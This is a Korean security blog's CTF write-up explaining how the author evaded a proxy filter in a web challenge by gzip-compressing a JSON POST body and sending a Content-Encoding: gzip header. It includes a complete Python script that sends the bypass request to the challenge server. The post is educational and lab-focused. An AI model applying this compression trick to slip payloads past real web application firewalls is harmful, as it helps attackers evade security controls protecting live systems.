ByPass WAF using HTTP header

2025. 1. 11. 18:38Web Security/웹 해킹

Content-Encoding : gzip 을 통해서 WAF를 우회할 수 있다는 사실을 GoN 해킹 대회를 통해서 알게 되었습니다. WAF 를 우회할 때 URL 인코딩, 더블 인코딩 혹은 WAF와 서버 어플리케이션이 이해하는 아스키코드의 범위의 차이 등의 방식을 이용할 수 있습니다. 이 방식 외에도 HTTP가 제공하는 압축방식을 통해서 WAF를 우회할 수 있다.

 

문제는 다음과 같다. https://ctf.goatskin.kr/challenges

 

 

 

웹 코드는 다음과 같다. 

 

 

app.js를 보면 다음과 같이 구성되있다. 단순히 json형식으로 {"flag": 1} 를 POST 요청을 보내면 flag를 돌려준다.

 

 

문제는 yml을 보면 1337 port는 직접 접근할 수 없다. proxy 31337 포트만 접근이 가능하며 1337 포트는 proxy를 통해서만 접근이 가능하다.

 

 

아래는 proxy 코드의 일부분이다. 우리가 보낸 데이터 중에 f혹은 u라는 단어를 삭제한다. 실제적으로 위와 같은 과정을 거치기 때문에 app.js에서 data와 헤더의 content-length의 길이의 차이가 발생하여 지연(lag)가 발생한다.

 

문제에서 준 힌트인 Wait... is it jst a lag? 도 위와같은 부분 때문에 준거 같다.

 

 

이를 우회하는 방법이 존재한다. 바로 Content-encoding 헤더를 사용하는 것이다.

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Transfer-Encoding

 

Transfer-Encoding - HTTP | MDN

The HTTP Transfer-Encoding request and response header specifies the form of encoding used to transfer messages between nodes on the network.

developer.mozilla.org

 

 

아래 파이썬 코드는 압축해서 보내는 코드이다.

 

import gzip
import json
import requests
from io import BytesIO

# 데이터 준비
data = {"flag": 1}
json_data = json.dumps(data)

# gzip 압축
compressed_data = BytesIO()
with gzip.GzipFile(fileobj=compressed_data, mode='wb') as f:
    f.write(json_data.encode('utf-8'))

compressed_data.seek(0)  # 압축된 데이터의 시작 위치로 되돌림
print(compressed_data.getvalue())
# 요청 헤더와 함께 전송
headers = {
    'Content-Type': 'application/json',
    'Content-Encoding': 'gzip',  # gzip으로 압축된 데이터
    'Content-Length': str(len(compressed_data.getvalue()))
}

# POST 요청 보내기
response = requests.post('http://158.247.250.184:31337/', headers=headers, data=compressed_data)

# 응답 출력
print(response.status_code)
print(response.text)

 

 

다음 프록시 부분이다. json이 압축되어 있어서 필터링이 우회된다.

 

 

그러면 왜 될까? 아마도 express.json() 미들웨어를 사용할 때 body 파싱하는 이 과정 자동으로 압축을 풀어주기 때문이지 않을까 싶다. 아래는 flag이다. i dont give a chunck for filter 이라는 뜻인 것 같다.  인텐은 Transfer-encoding헤더를 통해서 gzip으로 압축해서 우회나는 것인 것 같다. 

 

 

 

끝으로 Transfer-encoding 혹은 Content-encoding 방식으로 waf의 필터를 우회할 수 있다는 점을 알아가면 좋을듯 싶다.

'Web Security > 웹 해킹' 카테고리의 다른 글

Debug and vulns  (0) 2025.02.23
PHP Session Poisoning using LFI  (0) 2025.01.09
file upload & download & reverse shell  (11) 2024.11.15
blind sql injection  (1) 2024.10.29
sql injection CTF vs real world. finger print  (0) 2024.10.27